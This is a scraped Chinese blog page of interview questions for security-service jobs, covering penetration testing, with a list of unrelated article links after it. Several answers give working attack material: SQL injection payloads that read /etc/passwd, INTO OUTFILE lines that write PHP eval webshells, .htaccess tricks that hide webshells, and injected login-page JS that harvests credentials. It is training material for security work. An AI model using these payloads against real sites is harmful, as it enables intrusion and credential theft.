当前位置: 首页 > news >正文

安全服务面试

对安全服务是怎么理解的
安全服务对象是人, 渗透测试对象是网站。(我的理解)
安全概念和资讯
安全工具使用
渗透测试
安全基线检查
应急响应
代码审计
安全边界建设
安全规范
1.拿到一个待检测的站,你觉得应该先做什么?
收集信息:whois、网站源 IP、旁站、C 段网站、服务器系统版本、容器版本、
程序版本、数据库类型、二级域名、防火墙、维护者信息另说...
2.mysql 的网站注入,5.0 以上和 5.0 以下有什么区别?
5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表
名;5.0 以下是多用户单操作,5.0 以上是多用户多操做。
3.在渗透过程中,收集目标站注册人邮箱对我们有什么价值?
(1)丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台
(2)用邮箱做关键词进行丢进搜索引擎
(3)利用搜索到的关联信息找出其他邮箱进而得到常用社交账号
(4)社工找出社交账号,里面或许会找出管理员设置密码的习惯
(5)利用已有信息生成专用字典(6) 观察管理员常逛哪些非大众性网站,拿下它,你会得到
更多好东西
4.判断出网站的 CMS 对渗透有什么意义?
查找网上已曝光的程序漏洞,如果开源,还能下载相对应的源码进行代码审计。
1 页 共 152 5.一个成熟并且相对安全的 CMS,渗透时扫目录的意义?
(1)敏感文件、二级目录扫描
(2)站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其
他站点
6.常见的网站服务器容器?
IIS、Apache、nginx、Tomcat,weblogic、jboss
7.mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?
root 权限以及网站的绝对路径
load_file()读取文件操作
前提:
知道文件的绝对路径
能够使用 union 查询
对 web 目录有写的权限
union select 1,load_file('/etc/passwd'),3,4,5#
0x2f6574632f706173737764union select
1,load_file(0x2f6574632f706173737764),3,4,5#
路径没有加单引号的话必须转换十六进制
要是想省略单引号的话必须转换十六进制
into outfile 写入文件操作
前提:
文件名必须是全路径(绝对路径)
用户必须有写文件的权限
没有对单引号'过滤
select ' <?php phpinfo(); ?> ' into outfile 'C:\Windows\tmp\8.php'
select ' <?php @eval($_POST["admin"]); ?> ' into outfile
'C:\Windows\tmp\8.php'
路径里面两个反斜杠\可以换成一个正斜杠/
PHP 语句没有单引号的话,必须转换成十六进制
2 页 共 152 要是想省略单引号'的话,必须转换成十六进制
<?php eval($_POST["admin"]); ?> 或者 <?php
eval($_GET["admin"]); ?>
<?php @eval($_POST["admin"]); ?>
<?php phpinfo(); ?>
<?php eval($_POST["admin"]); ?>
建议一句话 PHP 语句转换成十六进制
8.目前已知哪些版本的容器有解析漏洞,具体举例?
(1) IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名
(2) IIS 7.0/7.5
默认 Fast-CGI 开启,直接在 url 中图片地址后面输入/1.php,会把正常图片
当成 php 解析
(3) Nginx
版本小于等于 0.8.37,利用方法和 IIS 7.0/7.5 一样,Fast-CGI 关闭情况下也
可利用。
空字节代码 xxx.jpg.php
(4)Apache
上传的文件命名为:test.php.x1.x2.x3,Apache 是从右往左判断后缀
(6)lighttpd
xx.jpg/xx.php
9.如何手工快速判断目标站是 windows 还是 linux 服务器?
linux 大小写敏感,windows 大小写不敏感
10.为何一个 mysql 数据库的站,只有一个 80 端口开放?
(1)更改了端口,没有扫描出来
(2) 站库分离(3) 3306 端口不对外开放
11.3389 无法连接的几种情况?
3 页 共 152 (1)没开放 3389 端口
(2)端口被修改
(3) 防护拦截
(4)处于内网(需进行端口转发)
12.如何突破注入时字符被转义?
宽字符注入;hex 编码绕过
13.在某后台新闻编辑界面看到编辑器,应该先做什么?
查看编辑器的名称版本,然后搜索公开的漏洞
14.拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?
能做的事情很多,用隐藏网马来举例子:
插入<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php
</FilesMatch>
.jpg 文件会被解析成.php 文件
15.注入漏洞只能查账号密码?
可脱裤,可上传 webshell,可执行命令
16.安全狗会追踪变量,从而发现出是一句话木马吗?
是根据特征码,所以很好绕过
17.access 扫出后缀为 asp 的数据库文件,访问乱码。如何实现到本地利用?
迅雷下载,直接改后缀为.mdb
18.提权时选择可读写目录,为何尽量不用带空格的目录?
因为 exp 执行多半需要空格界定参数
19.某服务器有站点 A,B 为何在 A 的后台添加 test 用户,访问 B 的后台。
发现也添加上了 test 用户?
同数据库
20.注入时可以不使用 and 或 or 或 xor,直接 order by 开始注入吗?
4 页 共 152 and/or/xor,前面的 1=1、1=2 步骤只是为了判断是否为注入点,如果已经
确定是注入点那就可以省那步骤去
21:某个防注入系统,在注入时会提示:统检测到你有非法注入的行为。已记录
您的 ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内
容:and 1=1 如何利用这个防注入系统拿 shell?
在 URL 里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件
了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见:
http://ytxiao.lofter.com/post/40583a_ab36540
22.上传大马后访问乱码时,有哪些解决办法?
浏览器中改编码
23.审查上传点的元素有什么意义?
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就
能突破限制了
24.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,
你觉得这里怎样利用?
先爆破用户名,再利用被爆破出来的用户名爆破密码。
25.目标站发现某 txt 的下载地址为
http://www.test.com/down/down.php?file=/upwdown/1.txt ,你有什么思路?
这就任意文件下载漏洞,在 file=后面尝试输入 index.php 下载他的首页文件,
然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和
数据库的地址。
26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存
在编辑器和 admin 目录。请问你的想法是?
直接在网站二级目录/abc/下扫描敏感文件及目录
27.在有 shell 的情况下,如何使用 xss 实现对目标站的长久控制?
(1)后台登录处加一段记录登录账号密码的 js,并且判断是否登录成功,如
果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的
网站文件中。(此方法适合有价值并且需要深入控制权限的网络)
5 页 共 152 (2)在登录后才可以访问的文件中插入 XSS 脚本
28.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户
的密码?
审查元素 把密码处的 password 属性改成 text 就明文显示了
29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403.什么原
因?
原因很多,有可能 web 服务器配置把上传目录写死了不执行相应脚本,尝试
改后缀名绕过
30.审查元素得知网站所使用的防护软件,你觉得怎样做到的?
在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12 看
HTML 体部 比如护卫神就可以在名称那看到 <hws> 内容 <hws>
31.在 win2003 服务器中建立一个 .zhongzi 文件夹用意何为?
隐藏文件夹,为了不让管理员发现你传上去的工具
32.sql 注入有以下两个测试选项,选一个并且阐述不选另一个的理由?
A. demo.jsp?id=2+1 B. demo.jsp?id=2-1
选 B,在 URL 编码中 + 代表空格,可能会造成混淆
33.以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?
demo.do?DATA=AjAxNg==
DATA 有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行
base64 编码才能正确完成测试
34 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是
优选?
(1)有写入权限的,构造联合查询语句使用 using INTO OUTFILE,可以将查询
的输出重定向到系统的文件中,这样去写入 WebShell
(2)使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样
效率更高
(3)通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,
6 页 共 152 再在后台通过改包上传等方法上传 Shell
35.CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
(1)XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃
取用户信息等攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript
读取
Cookie 值、输入时校验、浏览器与 Web 应用端采用相同的字符编码。
(2)CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于
没有在关键操作执行时进行是否由用户自愿发起的确认。
修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检
验 Referer
(3)XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者
远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。
修复方式:XML 解析库在调用时严格禁止对外部实体的解析。
36.CSRF、SSRF 和重放攻击有什么区别?
(1)CSRF 是跨站请求伪造攻击,由客户端发起
(2)SSRF 是服务器端请求伪造,由服务器发起
(3)重放攻击是将截获的数据包进行重放,达到身份认证等目的
37.说出至少三种业务逻辑漏洞,以及修复方式?
(1)密码找回漏洞中存在密码
允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来
通过厂商提供的密码找回功能来得到密码
(2)身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到 Session 或
Cookie 即可伪造用户身份
(3)验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法
来进行绕过
38 圈出下面会话中可能存在问题的项,并标注可能会存在的问题?
GET /ecskins/demo.jsp?uid=2016031900&keyword=”hello world!”
HTTP/1.1
Host: ***com:82
7 页 共 152 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/css,/;q=0.1
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://***com:82/eciop/orderForCC/cgtListForCC.htm?zone
=11370601&v=1459663591817
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueuserid=session_0GRMiFiYJhAh5_HZrQoZamJ;
st_uid=N90pIYHLZgjXI-NX01vPUf46w952J-0NcX19vgj1L%3DJXrZP9sf0I
Y-vEI9iNIX150iLXKat1YZLnUf46Z%2C5aec5biM5rCROueDn%2BWPsOeD
n%2BiNiTrng5%2Flj7A%3D; status=True
Connection: keep-alive
(标红 1:sql 注入,标红 2:xss,标红 3:cookies 欺骗,4:会话 CSRF 或重放风险。)
考对 HTTP 数据包字段敏感度及会话渗透经验。
39.找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?
40.你常用的渗透工具有哪些,最常用的是哪个?
burpsuit,appscan,avwvs,sqlmap,fiddler 等

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • java调用WebService接口
  • centos7 docker空间不足
  • 项目经理面试总结
  • JDK8新特性之Lambda表达式快速入门
  • 2024 Java 高分面试宝典 一站式搞定技术面
  • yum install git
  • golang JSON序列化
  • 【Unity2D 2022:UI】TextMeshPro组件无法显示中文
  • Spring Boot中的 6 种API请求参数读取方式
  • 核心线程创建之后是否受keepAliveTime影响?
  • SRv6 和IGP/BGP协议区别
  • 自制熊猫烧香进阶
  • centos安装python 3.9
  • 【diffusers极速入门(五)】扩散模型中的 Scheduler(noise_scheduler)的作用是什么?
  • react函数学习——useState函数
  • $translatePartialLoader加载失败及解决方式
  • (ckeditor+ckfinder用法)Jquery,js获取ckeditor值
  • 【css3】浏览器内核及其兼容性
  • 【跃迁之路】【699天】程序员高效学习方法论探索系列(实验阶段456-2019.1.19)...
  • AzureCon上微软宣布了哪些容器相关的重磅消息
  • java第三方包学习之lombok
  • Material Design
  • spring security oauth2 password授权模式
  • Spring技术内幕笔记(2):Spring MVC 与 Web
  • vue-router的history模式发布配置
  • 阿里云容器服务区块链解决方案全新升级 支持Hyperledger Fabric v1.1
  • 技术胖1-4季视频复习— (看视频笔记)
  • 解决jsp引用其他项目时出现的 cannot be resolved to a type错误
  • 模仿 Go Sort 排序接口实现的自定义排序
  • 模型微调
  • 中文输入法与React文本输入框的问题与解决方案
  • C# - 为值类型重定义相等性
  • #ifdef 的技巧用法
  • #systemverilog# 之 event region 和 timeslot 仿真调度(十)高层次视角看仿真调度事件的发生
  • (C#)一个最简单的链表类
  • (Redis使用系列) Springboot 使用Redis+Session实现Session共享 ,简单的单点登录 五
  • (第一天)包装对象、作用域、创建对象
  • (理论篇)httpmoudle和httphandler一览
  • (五)Python 垃圾回收机制
  • (详细版)Vary: Scaling up the Vision Vocabulary for Large Vision-Language Models
  • (一)C语言之入门:使用Visual Studio Community 2022运行hello world
  • (转)shell中括号的特殊用法 linux if多条件判断
  • .\OBJ\test1.axf: Error: L6230W: Ignoring --entry command. Cannot find argumen 'Reset_Handler'
  • .MyFile@waifu.club.wis.mkp勒索病毒数据怎么处理|数据解密恢复
  • .NET Windows:删除文件夹后立即判断,有可能依然存在
  • .NET/C# 避免调试器不小心提前计算本应延迟计算的值
  • .NET3.5下用Lambda简化跨线程访问窗体控件,避免繁复的delegate,Invoke(转)
  • .NETCORE 开发登录接口MFA谷歌多因子身份验证
  • .NET大文件上传知识整理
  • .NET开源全面方便的第三方登录组件集合 - MrHuo.OAuth
  • /dev/sda2 is mounted; will not make a filesystem here!
  • /etc/shadow字段详解
  • [ 英语 ] 马斯克抱水槽“入主”推特总部中那句 Let that sink in 到底是什么梗?
  • [ACL2022] Text Smoothing: 一种在文本分类任务上的数据增强方法
  • [Angular] 笔记 9:list/detail 页面以及@Output